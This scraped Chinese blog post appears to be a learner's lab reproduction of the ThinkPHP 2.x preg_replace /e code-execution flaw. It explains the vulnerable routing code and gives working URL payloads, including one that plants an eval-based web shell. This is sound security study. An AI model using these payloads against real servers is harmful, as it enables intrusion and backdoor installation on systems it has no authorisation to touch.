当前位置: 首页 > news >正文

软件开发 网站建设 游戏开发梅州建站塔山双喜

软件开发 网站建设 游戏开发,梅州建站塔山双喜,教学直播平台网站建设费用,端午节网页设计模板一、漏洞详情影响版本 thinkphp 2.x但是由于thinkphp 3.0版本在Lite模式下没有修复该漏洞#xff0c;所以也存在该漏洞漏洞原因#xff1a;e 和 /e模式匹配路由#xff1a;e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; /e 可执行模式#xff0c…一、漏洞详情影响版本 thinkphp 2.x但是由于thinkphp 3.0版本在Lite模式下没有修复该漏洞所以也存在该漏洞漏洞原因e 和 /e模式匹配路由e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; /e 可执行模式此为PHP专有参数例如preg_replace函数。再看看preg_replace这个函数preg_replace(正则规则,替换字符,目标字符)就是讲目标字符根据正则规则替换成替换字符当preg_replace使用了/e模式可以导致代码执行。该函数的正则规则和目标字符可以由用户进行输入。preg_replace 函数在匹配到符号正则的字符串时会将替换字符第二个参数当做代码来执行。举个例子官方 payload 为 /?.*{${phpinfo()}} 即 GET 方式传入的参数名为 /?.* 值为 {${phpinfo()}} 原先的语句 preg_replace(/( . $re . )/ei, strtolower(\\1), $str); 变成了语句 preg_replace(/(.*)/ei, strtolower(\\1), {${phpinfo()}});最终strtolower(\\1)被执行相当于 eval(‘strtolower(“\1”);’) 。strtolower把所有字符转换为小写也就是结果是\1而\1在正则表达式中指定的是第一个子匹配项phpinfo()就会被成功执行在ThinkPHP ThinkPHP 2.x版本中使用preg_replace的/e模式匹配路由$res preg_replace((\w).$depr.([^.$depr.\/])e, $var[\\\1\]\\2;, implode($depr,$paths));导致用户的输入参数被插入双引号中执行造成任意代码执行漏洞。二、复现过程搭建docker环境docker-compose up -d写入phpinfohttp://192.168.239.128:8080/index.php?s/index/index/xxx/${phpinfo()}写入一句话木马http://192.168.239.128:8080/index.php?s/index/index/name/${print(eval($_POST[cmd]))}报错但是已经写进去了连接成功代码分析复现是完成了但是那个payload是怎么构造出来的呢// 分析PATHINFO信息self::getPathInfo();if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL$paths explode($depr,trim($_SERVER[PATH_INFO],/));$var array();if (C(APP_GROUP_LIST) !isset($_GET[C(VAR_GROUP)])){$var[C(VAR_GROUP)] in_array(strtolower($paths[0]),explode(,,strtolower(C(APP_GROUP_LIST))))? array_shift($paths) : ;if(C(APP_GROUP_DENY) in_array(strtolower($var[C(VAR_GROUP)]),explode(,,strtolower(C(APP_GROUP_DENY))))) {// 禁止直接访问分组exit;}}if(!isset($_GET[C(VAR_MODULE)])) {// 还没有定义模块名称$var[C(VAR_MODULE)] array_shift($paths);}$var[C(VAR_ACTION)] array_shift($paths);// 解析剩余的URL参数$res preg_replace((\w).$depr.([^.$depr.\/])e, $var[\\\1\]\\2;, implode($depr,$paths));$_GET array_merge($var,$_GET);}$res preg_replace((\w).$depr.([^.$depr.\/])e, $var[\\\1\]\\2;, implode($depr,$paths));意味着每次会取出两个参数第一个参数作为var数组的下标第二个参数作为该下标数组的值也就是只要你的代码放在偶数位就会被当成数组的值执行if(!isset($_GET[C(VAR_MODULE)])) {// 还没有定义模块名称 $var[C(VAR_MODULE)] array_shift($paths); }$var[C(VAR_ACTION)] array_shift($paths);当数组$var在路径存在模块和动作时会去除掉前2个值所以我们构造的payload的数组的值需要大于2且想要执行的代码需要放在偶数位。故可以构造payload/index.php?sa/b/c/${phpinfo()}/index.php?sa/b/c/${phpinfo()}/c/d/e/f/index.php?sa/b/c/d/e/${phpinfo()}……至于s是怎么来的ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是http://serverName/index.php或者其它应用入口文件/模块/控制器/操作/[参数名/参数值…]如果不支持PATHINFO的服务器可以使用兼容模式访问如下http://serverName/index.php或者其它应用入口文件?s/模块/控制器/操作/[参数名/参数值…]这篇文章写的非常详细我也就是照猫画虎理解最重要。https://www.freebuf.com/column/223149.html三、总结为什么${}会执行在PHP当中${}是可以构造一个变量的{}写的是一般的字符那么就会被当成变量比如${a}等价于$a那如果{}写的是一个已知函数名称那么这个函数就会被执行。希望能从漏洞复现中学习到挖漏洞的思路和技巧不知道什么时候才能真真正正地有自己挖洞的实力了嗨嗨害。学习新思想争做新青年。每天给自己来碗鸡汤。
http://www.w-s-a.com/news/440561/

相关文章:

  • 网站建设好处上海建设工程网站
  • 黑河哈尔滨网站建设太原网站制作定制开发
  • 建站做网站香河住房与建设局网站
  • 如何制造一个网站域名分类网站
  • 解析视频的网站怎么做凡科网快图
  • 企业网站优化问题接单app平台有哪些
  • 怎么做网站后缀识别符号才不会变什么是电子商务网站建设
  • 中山 五金 骏域网站建设专家专门用来制作网页的软件是什么
  • 怎么做刷东西的网站数据分析软件工具有哪些
  • 官方购物网站正品交易网站域名
  • lol网站建设seo 网站太小
  • 网站建设销售职责手机网站制作软件
  • 福州百度企业网站seo如何在电脑上登录wordpress
  • 开发区全力做好网站建设网络广告营销成功案例
  • 114网站建设高并发系统架构
  • php网站打开一片空白wordpress中文广告插件下载
  • 怎样建自己的网站免费的百度关键词排名点击
  • 医院网站建设的特点怎么查看网站百度快照
  • 网站 如何备案一般网站开发公司
  • 做网站的公司 贵阳郑州新像素ui设计培训收费
  • 温州网站建设公司电话给个免费的网址
  • 个人做电子商务网站备案软考高级
  • 淘宝客需要自己做网站吗四川遂宁做网站的公司
  • 编写网站策划书缘魁上海网站建设
  • 梧州外贸网站推广设计wordpress 上传 七牛
  • 增加网站备案千灯做网站
  • 深圳做网站的公php做简易网站
  • 徐州哪家做网站好商业空间设计效果图
  • 重庆建网站cqiezscom大学毕业做网站插画师好吗
  • 在门户网站做产品seo怎么样做网站管理员